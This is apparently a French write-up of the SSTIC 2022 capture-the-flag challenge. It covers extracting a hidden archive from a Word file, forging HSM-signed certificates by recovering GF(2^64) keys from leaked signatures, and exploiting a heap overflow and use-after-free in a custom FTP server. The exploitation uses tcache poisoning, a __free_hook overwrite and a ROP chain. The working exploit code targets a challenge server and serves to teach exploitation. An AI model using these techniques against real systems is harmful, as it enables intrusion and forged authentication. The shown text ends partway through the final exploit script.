SSTIC2k22

Révision
Version Date Commentaire
1.0.0 18/05/2022 Première version
1.0.1 31/05/2022 Ajout de schéma de heap pour l'étape 3 et correction de la section "obtenir une exécution de code arbitraire"

Introduction

Comme chaque année l’équipe d’organisation du SSTIC1 (Symposium sur la sécurité des technologies de l’information et des communications) propose un challenge sur le thème de la sécurité informatique. Cette année le challenge est découpé en 6 étapes, voici ci-dessous l’énoncé :

Nous avons intercepté un message caché de l'Organisation. Nous la supposons
responsable de nombreux méfaits, mais nous n'avons jamais pu rassembler
suffisamment de preuves pour être pris au sérieux.

Heureusement, nous sommes sur le point de mettre à jour leurs secrets. Une de
nos sources a découvert qu'ils s'échangeaient des informations camouflées dans
des fichiers sur des forums. Notre source a pu identifier un document secret sur
un forum de cuisine mais n'a pas pu nous en dire plus sans compromettre sa 
position.

Malheureusement, aucun de nos experts n'a réussi à extraire les informations
sensibles cachées dans celui-ci.

Votre mission est, si vous l'acceptez, de récupérer le contenu de ce fichier
secret, et d'en découvrir le plus possible sur l'Organisation afin d'exposer
leurs activités.

Le challenge consiste à récupérer l’adresse mail de validation (de la forme xxx@sstic.org) depuis le serveur de l’Organisation.

Niveau 1

Le document mentionné dans l’énoncé est un fichier Word contenant une recette de cuisine. Jusque-là rien de suspect hormis sa taille anormalement grande (~5Mo). L’outil binwalk a trouvé des données compressées à l’intérieur du document, mais malheureusement lorsqu’on extrait l’archive celle-ci est corrompue.

$ binwalk Recette.doc

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1991168       0x1E6200        gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)

L’outil 7z est capable de parser les fichiers Word, mais aucune trace de l’archive. Lorsqu’on regarde toutes les tailles des objets contenus dans le fichier on est loin des 5Mo.

Pour extraire l’archive il faut se plonger dans la specification du format utilisé par Word soit Compound File Binary Format2.

Un compound file est composé de “storage objects” et de “stream objects” qui sont comparables à des répertoires et des fichiers. Dans notre cas on a un répertoire racine et 7 stream objects. Le fichier est découpé en secteurs de 512 octets et contient une FAT (File Allocation Table). La FAT est un tableau d’entier de 32 bits qui permet de savoir si un secteur est libre ou non.

L’entête du fichier word est située sur le premier secteur. Elle contient un tableau d’entiers de 32 bits nommé DIFAT. Ce tableau contient les numéros des secteurs qui composent la FAT. La première étape consiste à reconstituer la FAT.

Les “stream objects” sont décrits dans la FAT par une liste chainée. Un index sur la FAT représente le numéro de secteur et la valeur correspond au prochain secteur utilisé. Il existe quelques valeures spéciales :

  • 0xFFFFFFFF indique un secteur libre
  • 0xFFFFFFFE indique une fin de liste chainée
  • 0xFFFFFFFD indique que le secteur est utilisé pour la FAT

Le schéma ci-dessus présente un fichier stocké dans le Compound File débutant sur le secteur #1 et stocké sur 3 secteurs.

Grâce a binwalk on sait que le début de l’archive commence à 0x1E6200 soit au secteur n°3888 ( 0x1E6200/0x200 - 1). Sur l’entrée 3888 de la FAT on trouve le prochain secteur 10791, puis 6775, etc … On automatise l’extraction avec un script python présenté ci-dessous :

import ctypes
import argparse
from pwn import *

class HEADER(ctypes.LittleEndianStructure):
	_fields_ = [
		("Signature",ctypes.c_uint8 * 8),
		("CLSID",ctypes.c_uint8 * 16),
		("MinorVersion",ctypes.c_uint16),
		("MajorVersion",ctypes.c_uint16),
		("ByteOrder",ctypes.c_uint16),
		("SectorShift",ctypes.c_uint16),
		("MiniSectorShift",ctypes.c_uint16),
		("Reserved",ctypes.c_uint8 * 6),
		("NumberOfDirectorySectors",ctypes.c_uint32),
		("NumberOfFATSectors",ctypes.c_uint32),
		("FirstDirectorySectorLocation",ctypes.c_uint32),
		("TransactionSignatureNumber",ctypes.c_uint32),
		("MiniStreamCutOffSize",ctypes.c_uint32),
		("FirstMiniFATSectorLocation",ctypes.c_uint32),
		("NumberOfMiniFATSectors",ctypes.c_uint32),
		("FirstDIFATSectorLocation",ctypes.c_uint32),
		("NumberOfDIFATSectors",ctypes.c_uint32),
		("DIFAT",ctypes.c_uint32 * 109)
	]
	
def extract(path,output_path,offset):
	with open(path,"rb") as f:
		# Extract FAT
		header = HEADER.from_buffer_copy(f.read(ctypes.sizeof(HEADER)))
		fat = []
		for i in range(0,109):
			if header.DIFAT[i] != 0xFFFFFFFF:
				sector_offset = (header.DIFAT[i] + 1) * 512
				f.seek(sector_offset)
				data = f.read(512)
				for k in range(0,len(data),4):
					fat.append(u32(data[k:k+4]))
		# Extract file
		with open(output_path,"wb") as fout:
			linked_list = []
			fat_index = int(offset/512)-1
			linked_list.append(fat_index)
			f.seek( (fat_index + 1)*512 )
			fout.write(f.read(512))
			while fat_index < 0xFFFFFFFC and fat_index < len(fat):
				fat_index = fat[fat_index]
				if fat_index in linked_list:
					break
				linked_list.append(fat_index)
				f.seek( (fat_index + 1)*512 )
				fout.write(f.read(512))
			
	
if __name__=='__main__':
	parser = argparse.ArgumentParser(description="extract hidden file from FAT in .doc")
	parser.add_argument('input',type=str,help='doc file')
	parser.add_argument('output',type=str,help='output file')
	parser.add_argument('offset',type=str,help='hidden file begin')
	args = parser.parse_args()
	
	args.offset = int(args.offset,16)
	
	extract(args.input,args.output,args.offset)

On obtient une archive contenant un dossier release. Le fichier e4r7h.txt a des informations qui serons utiles pour la prochaine étape :

Il s'agit d'un serveur FTP, qui aura à terme les capacités suivantes :

    - Stockage de fichiers anonyme
    - Compression custom de données
    - Le tout hébergé sur un système de fichier custom

Pour le moment, seul le serveur FTP est pleinement opérationnel, les autres fonctionnalités sont en cours de test, 
vous pouvez accéder à mon instance de test sur 62.210.131.87 pour y jeter un oeil.

L'utilisateur "anon" a un accès libre aux dossier public, mais ce n'est qu'une façade : Une fois toutes les fonctionnalités
implémentées, il sera possible de se connecter via un utilisateur secret, afin d'accéder aux données hautement classifiées
de notre organisation.

Ce système est extrêmement sécurisé, et son implémentation entièrement faite maison permettra à nos opérations de rester secrètes.

Vous pouvez monter votre propre instance du serveur à des fins de test. A terme, il s'agira votre principal moyen 
de communication avec les autres membres de l'organisation. 

Je vous tiendrai au courant de la finalisation du développement dans les prochaines semaines.


Cordialement,
Grand Gourou Skippy

SSTIC{47962828593d98d0d7392590529c4014}

Niveau 2

Découverte du système

A l’étape précédente nous avons récupéré plusieurs fichiers :

  • bzImage : un kernel linux
  • chall.hex : un firmware d’arduino au format Intel HEX
  • e4r7h.txt : les notes
  • initramfs.img : un système de fichiers
  • Makefile : permet de cloner, build, et lancer l’outil simavr qui émule une arduino
  • simavr.patch : un patch pour simavr
  • start_vm.sh : un script permettant de lancer un système Linux via Qemu

Tout cela constitue un système que l’on va devoir étudier. Nous avons un système Linux connecté via un port série à une arduino qui fait office de HSM3 (Hardware Security Module). 7z permet de naviguer dans le système de fichiers racine initramfs.img, on trouve les binaires suivants :

  • /home/sstic/server : un serveur FTP4 exposé sur le port 31337. Ce binaire s’appuie sur les fonctions du HSM pour vérifier des signatures et authentifier certains pointeurs de fonction et les adresses de retour.
  • /bin/mounter_server : un service lancé en root, il permet de monter/démonter le système de fichiers goodfs. Les commandes envoyées à mounter_server sont protégées par un mot de passe stocké dans le HSM.
  • /bin/mounter_client : un binaire utilitaire qui dialogue avec mounter_server via une mémoire partagée.
  • goodfs.ko : un driver kernel qui implémente les opérations du système de fichiers goodfs

Le schéma suivant résume l’architecture du système :

Dans le dossier /home/sstic de l’environnement de test on trouve un indice info.txt qui nous oriente pour la suite :

J'ai installé un module de sécurité hardware pour sécuriser le serveur FTP !
En rajoutant de la crypto pour signer toutes sortes de données, on a un serveur
en béton :)

TODO : Penser à faire vérifier la crypto

Mécanisme d’authentification

Au vu de l’indice on va s’intéresser au fonctionnement du HSM. Comme on peut le voir dans le fichier Makefile présenté ci-dessous, le HSM semble fonctionner avec deux clés K1 et K2. simavr permet d’émuler l’arduino et son firmware chall.hex.

GOODFS_PASSWD=goodfspassword K1=123 K2=456 ./simavr/examples/board_simduino/obj-x86_64-linux-gnu/simduino.elf ./chall.hex

Du coté du serveur FTP, les commandes USER et PASS permettent de s’authentifier en tant que l’utilisateur anon ou anonymous sans mot de passe. Le serveur maintient une structure user_t pour l’utilisateur au format suivant :

typedef struct _user {
	uint8_t isLogged;
	uint8_t padding[7];
	uint64_t perms;                     // permissions
	uint8_t username[16];
	uint64_t user_sig;                  // signature calculée par le HSM
	callback_computeSig computeSigUser; // pointeur (signé par le HSM) pour calculer la signature
}user_t;

Le serveur calcule une signature user_sig (en s’appuyant sur le HSM), à partir du premier octet du champ perms suivi des 7 premiers octets du username ce qui compose un nombre sur 64 bits.

Pour les utilisateurs anon ou anonymous le champ perms est mis à 1.

La signature user_sig est vérifiée à chaque fois que l’on envoie une commande dans la fonction canExecCmdFTPServer.

Un utilisateur non authentifié peut exécuter les commandes USER, PASS, QUIT et CERT. Tandis qu’un utilisateur authentifié peut exécuter les commandes supplémentaires TYPE, PWD, PASV,PORT, LIST, RETR, FEAT, DBG.

Parmi les fichiers que l’on aimerait bien récupérer sur le serveur distant il y a le fichier /home/sstic/secret.txt. Malheureusement celui-ci n’est accessible qu’aux utilisateurs avec des perms aux moins égales à 2.

Mécanisme de certificat

Le serveur FTP propose une deuxième méthode d’authentification avec la commande non conventionnelle CERT. Celle-ci prend en paramètre une chaine ayant la forme suivante “user=monusername&perms=2&sig=????????" et encodée en base64. La fonction handleCertFTPServer effectue une signature sur les données avant le champ "&sig=" et construit une structure cert_t (décrite ci-dessous) si la signature du certificat est valide.

typedef struct _cert{
	uint8_t isLogged;
	uint8_t padding[7];
	uint64_t perms;                     // permissions
	uint8_t* username;                  
	uint64_t cert_sig;                  // signature final calculée par le HSM
	callback_computeSig computeSigCert; // pointeur (signé par le HSM) pour calculer la signature
	callback_destructor destructorCert; // pointeur (signé par le HSM) vers la fonction de destruction du certificat, libère la zone username
} cert_t;

Le calcul de la signature sur les données du certificat et le calcul des signatures user_sig ou cert_sig s’appuie sur la même fonction implémenté dans le HSM.

Recherche de vulnérabilités

On comprend rapidement que le problème du niveau 2 consiste à forger un certificat avec une signature valide. Cependant il faut avoir un minimum d’information pour construire une attaque crypto. On se lance donc dans une recherche de vulnérabilité pour faire fuiter le résultat du calcul effectué par le HSM.

Le handler de la commande USER contient plusieurs faiblesses,

  • la structure user_t est réutilisée sans que ses membres soient remis à zéro
  • le nom de l’utilisateur est recopié dans le membre username de la structure user_t mais aucun octet nul indique la fin de la chaine.

Combinée avec la commande DBG qui active les logs du serveur FTP cette vulnérabilité permet faire fuiter le champ user_sig calculé pour les utilisateurs anon ou anonymous.

Le plan est donc le suivant :

  • on s’authentifie avec l’utilisateur anonymous ce qui a pour effet de remplir le champ user_sig
  • on active le mode debug via la commande DBG
  • on tente de s’authentifier avec un nom d’utilisateur de 16 caractères, l’authentification échoue mais le nom d’utilisateur et le champ user_sig sont écrits dans le fichier de log
  • on répète l’opération pour l’utilisateur anon
  • pour terminer on télécharge le fichier de log avec la commande RETR
ftp = FTP(ip,port)
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()
ftp.cmd_dbg()
ftp.cmd_user(b"A"*15+b"=")
ftp.cmd_user(b"anon")
ftp.cmd_pass()
ftp.cmd_user(b"A"*15+b"=")
ftp.cmd_user(b"anon")
ftp.cmd_pass()

p1,p2 = ftp.cmd_getpasv()

log = ftp.cmd_retr(b"ftp.log")
first_leak = log.index(b"User "+b"A"*15+b"=") + 21
second_leak = log.rindex(b"User "+b"A"*15+b"=") + 21

sig1 = u64(log[first_leak:first_leak + 8])
sig2 = u64(log[second_leak:second_leak + 8])
print("signature 1 : %016.16x" % sig1)
print("signature 2 : %016.16x" % sig2)

Analyse de la cryptographie

Après retro-ingénierie du firmware de l’arduino, on reconstitue l’algorithme de signature qui prend en entrée 2 entiers de 64 bits (V1,V2) et ressort un entier de 64 bits (X). Dans les faits la fonction computeSigUser qui calcule le champ user_sig fixe V2 à zéro.

Le calcul dépend aussi des clés K1 et K2 fixées au démarrage du HSM. Les signatures que l’on récupère sont différentes à chaque connexion, ce qui indique que K1 et K2 sont probablement générés aléatoirement.

Voici ci-dessous une première implémentation des opérations effectuées par le firmware du HSM.

import sys
from pwn import *

def F1(A,B):
	result = 0
	
	while A != 0 and B != 0:
		if (A & 1) != 0:
			result = result ^ B
		if (B & 0x8000000000000000) == 0:
			B = (B << 1) & 0xFFFFFFFFFFFFFFFF
		else:
			B = ((B << 1) & 0xFFFFFFFFFFFFFFFF)  ^ 0x0247F43CB7
		
		A = (A >> 1) & 0xFFFFFFFFFFFFFFFF
		
	return result

K1 = int(sys.argv[1],16)
K2 = int(sys.argv[2],16)

def sign(V1,V2):
	X = F1(K1,V1)
	X = V2 ^ X
	X = F1(K1,X)
	X = X ^ K2
	X = F1(K1,X)
	return X

s = sign(u64("anonymo\x01"),0)

Comme on peut le voir il est facile d’inverser l’opération XOR mais l’opération F1 demeure complexe.

En réalité, l’opération F1 correspond à une multiplication de A et B dans GF(264) modulo le polynôme 0x0247F43CB7 soit : x0 + x1 + x2 + x4 + x5 + x7 + x10 + x11 + x12 + x13 + x18 + x20 + x21 + x22 + x23 + x24 + x25 + x26 + x30 + x33 + x64

Cela simplifie beaucoup les choses puisqu’on se retrouve avec 2 équations à 2 inconnues K1,K2 :

  • ((( K1 * c1 ) + 0) * K1 ) + K2 ) * K1 = ( K12 * c1 + K2 ) * K1 = S1
  • ((( K1 * c2 ) + 0) * K1 ) + K2 ) * K1 = ( K12 * c2 + K2 ) * K1 = S2

c1 et c2 sont les constantes d’entrées pour les utilisateurs anon et anonymous. S1 et S2 sont les signatures récupérées grâce a la vulnérabilité trouvée précédement.

On commence par isoler K1 ce qui nous donne l’équation suivante à résoudre :

  • K13 = ( S1 - S2 ) / ( c1 - c2 )

Ensuite il ne reste plus qu’à injecter la ou les solutions trouvées et résoudre :

  • K2 = (S2 / K1) - (c2 * K12)

Heureusement sage permet d’automatiser tout ça. Une fois K1 et K2 retrouvée on peut calculer la signature de n’importe quel certificat.

Ci-dessus un extrait du script d’exploitation.

from pwn import *
from sage.all import *
import logging
import coloredlogs

logger = logging.getLogger('default')
logger.setLevel(logging.DEBUG)
coloredlogs.install(level='DEBUG', logger=logger,fmt='%(levelname)s %(message)s')

x = var('x')

class HSM:
	def __init__(self):
		modulus = x**0 + x**1 + x**2 + x**4 + x**5 + x**7 + x**10 + x**11 + x**12 + x**13 + x**18 + x**20 + x**21 + x**22 + x**23 + x**24 + x**25 + x**26 + x**30 + x**33 + x**64
		self.k = GF(2**64,name='x',modulus=modulus)
		
	def find_keys(self,plaintextA,plaintextB,signA,signB):
		
		msgA_gf = self.k._cache.fetch_int(Integer(plaintextA))
		msgB_gf = self.k._cache.fetch_int(Integer(plaintextB))
		sigA_gf = self.k._cache.fetch_int(Integer(signA))
		sigB_gf = self.k._cache.fetch_int(Integer(signB))
		
		K0s_gf = ((sigA_gf - sigB_gf) / (msgA_gf - msgB_gf)).nth_root(3,all=True)
		
		solutions = []
		for K0_gf in K0s_gf:
			K1_gf = (sigB_gf / K0_gf) - (msgB_gf * (K0_gf * K0_gf))
			
			K0 = int(str(''.join(map(str,K0_gf.polynomial())))[::-1],2)
			K1 = int(str(''.join(map(str,K1_gf.polynomial())))[::-1],2)
			solutions.append( (K0, K1))
		
		return solutions
		
	def set_keys(self,K0,K1):
		self.K0_gf = self.k._cache.fetch_int(Integer(K0))
		self.K1_gf = self.k._cache.fetch_int(Integer(K1))
		
	def sign_u64(self,v1,v2):
		v1_gf = self.k._cache.fetch_int(Integer(v1))
		v2_gf = self.k._cache.fetch_int(Integer(v2))
		
		X_gf = self.K0_gf * v1_gf
		X_gf = v2_gf + X_gf
		X_gf = self.K0_gf * X_gf
		X_gf = X_gf + self.K1_gf
		X_gf = self.K0_gf * X_gf
		
		return int(str(''.join(map(str,X_gf.polynomial())))[::-1],2)
		
	def sign_data(self,plaintext):
		sign = 0
		for i in range(0,len(plaintext),8):
			value = u64(plaintext[i:i+8])
			sign = self.sign_u64(value,sign)
		return sign

class FTP:
	[...]
	
ip = sys.argv[1]

ftp = FTP(ip)
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()
ftp.cmd_dbg()
ftp.cmd_user(b"A"*15+b"=")
ftp.cmd_user(b"anon")
ftp.cmd_pass()
ftp.cmd_user(b"A"*15+b"=")
ftp.cmd_user(b"anon")
ftp.cmd_pass()

log = ftp.cmd_retr(b"ftp.log")
first_leak = log.index(b"User "+b"A"*15+b"=") + 21
second_leak = log.rindex(b"User "+b"A"*15+b"=") + 21

s1 = u64(log[first_leak:first_leak + 8])
s2 = u64(log[second_leak:second_leak + 8])
print("signature 1 : %016.16x" % s1)
print("signature 2 : %016.16x" % s2)

hsm = HSM()

c1 = 0x6f6d796e6f6e6101 # \x01anonymo
c2 = 0x6e6f6e6101       # \x01anon\0\0\0
keys = hsm.find_keys(c1,c2,s1,s2)

for couple_key in keys:
	hsm.set_keys(couple_key[0],couple_key[1])
	signature = hsm.sign_data(b"user=a&perms=2\0\0")
	certificate = b"user=a&perms=2\n\n&sig=%d" % signature
	
	if ftp.cmd_cert(certificate):
		logger.info("KEY FOUND")
		break

data = ftp.cmd_retr(b"secret.txt")
with open("secret.txt","wb") as f:
	f.write(data)

ftp.close()

Avec les permissions adaptées, on obtient le contenu du fichier secret.txt:

Grand Gourou Skippy,

J'ai eu accès à des informations de la plus haute importance concernant la 
topologie terrestre. 

Je vais retourner au bord pour continuer d'étudier notre magnifique plateau.

En attendant, gardez un oeil sur les sceptiques qui commencent à découvrir la 
vérité. Nous n'avons pas fini la construction de notre barrière et des gens 
pourraient tomber, ce qui révèlerait la véritable forme de notre foyer.

Platement,

Frère Bob

SSTIC{717ff143aa035b4da1cdb417b7f003f3}

Niveau 3

Dans le répertoire courant du serveur FTP il y’a un dossier sensitive qui comme son nom l’indique contient des informations sensibles. Il n’y a pas de chemin direct pour obtenir le contenu du dossier car le serveur FTP ne supporte pas la commande CWD et les / sont interdits dans les chemins de fichier. Nous n’avons donc pas le choix il faut exploiter une ou plusieurs vulnérabilités dans le serveur FTP. Dans l’étape précédente, nous avons vu comment créer des certificats valides qui sont traités par la commande CERT, je vais donc commencer ma recherche par là.

Préparer l’environnement de debug

Tout d’abord il est agréable de pouvoir débugger le programme lorsqu’on essaye de l’exploiter. On récupère la libc.so dans l'initramfs. Puis avec l’outil pwninit on patche le binaire pour le lier avec la libc de l’environnement de test. Pour finir on lance l’emulateur et le binaire patché en précisant le bon chemin pour l’UART.

$ ./pwninit --bin server --ld lib/ld-linux-x86-64.so.2 --libc lib/libc.so.6
$ GOODFS_PASSWD=goodfspassword K1=123 K2=456 ./simavr/examples/board_simduino/obj-x86_64-linux-gnu/simduino.elf ./chall.hex &
$ HSM_DEVICE=/tmp/simavr-uart0  P1=130 P2=64 ./server_patched

On peut désormais s’attacher au programme avec notre debugger favori.

Les vulnérabilités

Il y a un premier bug dans la fonction handleCertFTPServer lorsqu’un utilisateur envoie à nouveau une commande CERT alors qu’il s’est déjà authentifié avec cette même commande.

Lors de la première commande CERT le programme alloue un chunk pour le nom d’utilisateur. Lors de la deuxième commande CERT le programme réutilise la même zone mémoire seulement si l’ancien nom d’utilisateur est plus petit ou égal au nom d’utilisateur actuel. Le nom d’utilisateur est recopié dans cette zone dont la taille dépend de la taille de l’ancien nom d’utilisateur. Si le nouveau nom est plus grand que l’ancien il y a heap buffer overflow.

Dans cette même fonction, il y a une deuxième vulnérabilité. Dans le cas où le certificat n’est pas valide celui-ci libère la zone pointée par la variable username. Cependant, si l’utilisateur s’était déjà authentifié avec la commande CERT, la fonction libère la zone pointée par le membre username de la structure actuelle cert_t. Lorsque l’utilisateur effectue à nouveau une commande, la structure cert_t est utilisée alors que le membre username pointe sur une zone libre, c’est une vulnérabilité de type UAF (Use After Free)

Exploitation

Le binaire étant compilé en PIE5 (Position Independent Executable) et l’ASLR6 (Adresse Space Layout Randomization) étant activée sur le système il va nous falloir quelques leak si l’on veut être confort pour l’exploitation. En plus des mitigations habituelles le binaire n’autorise que certains syscall via des règles seccomp7.

Fuite d’adresse de heap

La première étape de l’exploit consiste à faire fuiter une adresse de heap dans les logs. Pour cela, on abuse du mécanisme tcache8 de la libc. Le tcache est une structure placée en début de heap par la libc, elle contient des listes chainées comme les fastbins9 sauf que le pointeur fd pointe sur la zone de données du chunk.

Dans un premier temps on s’authentifie avec un certificat valide. C’est un prérequis pour pouvoir déclencher la vulnérabilité UAF.

On envoie un certificat invalide, ce qui a pour effet de libérer le chunk username. Lors de l’appel à free, la libc met à jour le champ fd soit les 8 premiers octets du chunk avec l’adresse du prochain chunk libre.

Ensuite on envoie une commande FEAT, le serveur FTP log alors le nom d’utilisateur (soit l’adresse d’un chunk libre).

A cette étape on ne peut pas utiliser la commande RETR car le champ cert_sig contient une signature invalide puisque le nom d’utilisateur a changé. Il faut donc se réauthentifier pour pouvoir récupérer le fichier de log. L’authentification via la commande USER appelle le destructeur du certificat qui free à nouveau la zone username. Ce double free est détecté par la libc qui abort le programme.

J’utilise à nouveau la commande CERT avec un nom d’utilisateur plus petit que 8 octets (les adresses ont souvent des octets de poids fort à zéro ce qui constitue une chaine de moins de 8 octets), cela déclenche un realloc sur le membre username du certificat. La libc ne détecte pas le double free lors du realloc car le chunk n’as pas besoin d’être agrandi. realloc retourne donc un pointeur sur la même zone mémoire qu’avant. Cependant cette zone est toujours considérée comme un chunk libre.

Le programme recréé le certificat à la même adresse (la structure est libérée et allouée de nouveau dans la foulée) et recalcule cert_sig.

Une fois authentifié on envoie la commande PASV ce qui déclenche une allocation de structure passiv_conn_t.

typedef struct _passiv_conn{
	uint32_t p1;         // octet de poid fort du port d'écoute de la socket
	uint32_t p2;         // octet de poid faible du port d'écoute de la socket
	uint32_t sockfd;
	uint32_t field_C;
	callback_destructor destructorPasvConn;
}passiv_conn_t;

Cette structure se retrouve allouée sur la zone username, donc pour que le champ cert_sig soit valide après l’exécution de la commande PASV il faut utiliser un nom d’utilisateur de 1 octets de valeur “\x82” (octets de poids fort du port d’écoute pour le transfert) lors de la précédente commande CERT. Ensuite on peut utiliser la commande RETR pour récupérer le fichier de log ftp.log.

Pour résumer on effectue les commandes suivantes :

  • CERT : authentification avec un certficat
  • CERT : authentification avec un certificat invalide, le nom d’utilisateur contient une adresse de heap
  • FEAT : fait fuiter l’adresse de heap dans le fichier ftp.log
  • CERT : authentification avec un certificat valide, dont le nom d’utilisateur vaut b”\x82" (qui se feras écraser par une structure passiv_conn_t lors de la prochaine commande)
  • PASV : passe le serveur FTP en mode passif pour le transfert de fichier
  • RETR : on demande le fichier ftp.log

Le schéma suivant résume les opérations en heap :

Ci-dessous un extrait du code qui leak une adresse de heap :

# search valid keys for sign
for couple_key in keys:
	hsm.set_keys(couple_key[0],couple_key[1])
	signature = hsm.sign_data(b"user=x&perms=2")
	certificate = b"user=x&perms=2&sig=%d" % signature
	
	if ftp.cmd_cert(certificate):
		logger.info("KEY FOUND")
		break

# free chunk A
ftp.cmd_cert(b"user=x&perms=2&sig=%d" % 0)
ftp.p.sendline(b"FEAT\n")
logger.debug(ftp.p.recvline().decode('ascii'))

low_pasv_port = 130
# realloc chunkA
signature = hsm.sign_data(b"user="+ bytes([low_pasv_port]) +b"&perms=2")
certificate = b"user="+ bytes([low_pasv_port]) +b"&perms=2&sig=%d" % signature
ftp.cmd_cert(certificate)

# search leak in log file
heap_leak = 0
log = ftp.cmd_retr(b"ftp.log")
if log is not None:
	for line in log.split(b"\n"):
		if b"FEAT" in line:
			leak = line.split(b":")[0]
			leak = leak.replace(b"User ",b"").replace(b" ",b"")
			heap_leak = u64z(leak)
			break

heap_cert = heap_leak + 0x2350 + 0x10
heap_server = heap_leak + 0x20

logger.info("heap : %x" % heap_leak)
logger.info("cert : %x" % heap_cert)
logger.info("server : %x" % heap_server)

heap_libc_leak = heap_leak + 0x21d0

A partir de cette adresse de heap on peut en déduire les adresses des différents chunks alloués, notamment l’adresse du certificat en heap.

Fuite d’adresse de libc

La deuxième étape de l’exploit consiste à faire pointer le membre username sur un chunk qui contient une adresse de la libc. Le chunk à l’adresse heap_leak + 0x21d0 semble être un bon candidat.

Ensuite on peut leak le pointeur de la même manière que celui de la heap dans le fichier de log.

Pour cela on va ré-exploiter le tcache avec la suite de commande suivantes :

  • CERT : on change le pointeur fd de notre chunk username libre pour qu’il pointe au milieu de la structure cert_t sur le membre username grâce à la première vulnérabilité.
  • PASV : on alloue un chunk grâce à la commande PASV ce qui place le pointeur fd corrompu dans le tcache.
  • USER : on s’authentifie avec la commande USER, cela est un prérequis pour pouvoir déclencher plusieurs allocation lors de la prochaine commande CERT.
  • CERT : déclenche deux allocations grâce à un certificat avec deux "&user=". La première allocation écrase la structure passiv_conn_t, le premier nom d’uilisateur et construit de sorte à préserver le descripteur de socket de la structure passiv_conn_t. Le deuxième appel à malloc retourne un pointeur sur le champ username de la structure cert_t.
  • CERT : Avec la première vulnérabilité on modifie le nom d’utilisateur, ce qui change le pointeur username de la structure cert_t. De plus la signature cert_sig est calculée après la modification du pointeur, on est authentifié correctement.
  • FEAT : username pointe désormais sur le chunk contenant une adresse de libc, on leak son contenu via la commande FEAT
  • RETR : On récupère le fichier ftp.log
  • USER : Cela a pour effet de libérer le chunk de 0x70 déjà libre, la libc ne detecte pas le double free car celui-ci n’est pas dans le tcache mais dans les unsorted bins.

Le schéma suivant résume les opérations sur la heap :

Ci-dessous un extrait du code d’exploitation concernant le leak de la libc :

# corrupt tcache linked list
payload = p64(heap_cert)[0:7]
signature = hsm.sign_data(b"user="+payload+b"&perms=2")
ftp.cmd_cert(b"user="+payload.replace(b"\0",b"\n")+b"&perms=2&sig=%d" % signature)

# poisoning tcache
conn = ftp.cmd_pasv()
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()

# allocate 2 chunks
payload = b"xxxxxxxx"+p64(7)[0:7] # keep member sock of passiv_conn_t
signature = hsm.sign_data(b"user="+payload+b"&perms=2")
ftp.cmd_cert(b"user="+payload.replace(b"\0",b"\n")+b"&perms=2&sig=%d&user=xxxxxxx" % signature)
# username chunk override certificate chunk
# make username points to chunk with libc address
payload = p64(heap_libc_leak)[0:8]
signature = hsm.sign_data(b"user="+payload+b"&perms=2")
ftp.cmd_cert(b"user="+payload.replace(b"\0",b"\n")+b"&perms=2&sig=%d" % signature)
# leak libc address in log
ftp.cmd_feat()
ftp.p.sendline(b"RETR ftp.log")
logger.debug(ftp.p.recvline().decode('ascii'))
log = conn.recvall()
logger.debug(ftp.p.recvline().decode('ascii'))
print(log)
lines = log.split(b"\n")
leak = lines[len(lines) - 1].split(b":")[0]
leak = leak.replace(b"User ",b"").replace(b" ",b"").replace(b"\n",b"")

libc_leak = u64z(leak[0:8])
libc_base = libc_leak - 0x1ecc40
libc_free_hook = libc_base + 0x1eee48
print("libc_leak = %x" % libc_leak)
print("libc_base = %x" % libc_base)
print("libc_free_hook = %x" % libc_free_hook)

Obtenir une exécution de code “arbitraire”

L’adresse de libc obtenue précédemment nous permet de retrouver __free_hook. C’est un pointeur de fonction dans la section .data de la libc qui est appelée lorsqu’on libère un chunk via la fonction free. On utilise la même technique avec le tcache pour allouer notre nom d’utilisateur sur __free_hook.

  • CERT : on s’authentifie avec un certificat
  • CERT : on s’authentifie avec un certificat invalide, ce qui déclenche l’UAF
  • CERT : on modifie le pointeur fd, de sorte à ce qu’il pointe sur __free_hook
  • PASV : nécessaire pour s’authentifier avec la commande USER à la prochaine étape
  • USER : nécessaire pour déclencher deux allocations lors de la prochaine commmande CERT
  • CERT : avec 2 noms d’utilisateur dans le certificat on déclenche 2 allocations. Le deuxième malloc retourne l’adresse de __free_hook

Le schéma suivant résume les opérations sur la heap :

La fonction handleCertFTPServer recopie le certificat décodé dans une variable locale (donc en stack). C’est un emplacement idéal pour mettre une ropchain. La fonction handleCertFTPServer se termine en appelant free, il suffit d’effectuer un pivot, c’est à dire décaler le pointeur de stack RSP sur la variable locale qui contient notre ropchain. Pour cela je remplace le pointeur __free_hook par un gadget trouvé dans la libc : pop rbp ; pop r12 ; pop r14 ; ret

La première ropchain en charge une deuxième a une adresse fixe, ce qui est plus pratique pour placer des constantes telles qu’un nom de fichier.

ftp.cmd_user(b"anonymous")
ftp.cmd_pass()

signature = hsm.sign_data(b"user=x&perms=2")
ftp.cmd_cert(b"user=x&perms=2&sig=%d" % signature)
# trig UAF
ftp.cmd_cert(b"user=x&perms=2&sig=%d" % 0)

# corrupt tcache linked list
signature = hsm.sign_data(b"user="+p64(libc_free_hook)+b"&perms=2")
ftp.cmd_cert(b"user="+p64(libc_free_hook).replace(b"\0",b"\n")+b"&perms=2&sig=%d" % signature)

# poisoning tcache
conn = ftp.cmd_pasv()
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()

# compute usefull gadget for ropchain
pivot = libc_base + 0x000000000008e25f # pop rbp ; pop r12 ; pop r14 ; ret
ret = libc_base + 0x0000000000022679 # ret
[...]

stage2 = p64(ret) * 16
stage2+= call_open(0x800000000+0x278,0,0)
stage2+= call_mmap(0x800004000,668,1,2,8,0)
stage2+= call_write(5,0x800004000,668) # multiple send on socket
stage2+= call_write(5,0x800004000,668)
stage2+= call_write(5,0x800004000,668)
stage2+= call_write(5,0x800004000,668)
stage2+= call_close(5)
logger.info("name offset = 0x%x" % len(stage2))
stage2+= b"sensitive/m00n.txt\0"


ropchain = call_mmap(0x800000000,0x4000,0x3,0x22,0xFFFFFFFFFFFFFFFF,0)
ropchain+= call_read(5,0x800000000,len(stage2))
ropchain+= p64(pop_rsp)
ropchain+= p64(0x800000000)

logger.info("PIVOT = %x" % pivot)
logger.info("POP RSP = %x" % pop_rsp)

# alloc / alloc
signature = hsm.sign_data(b"user=x&perms=2&x"+ropchain)
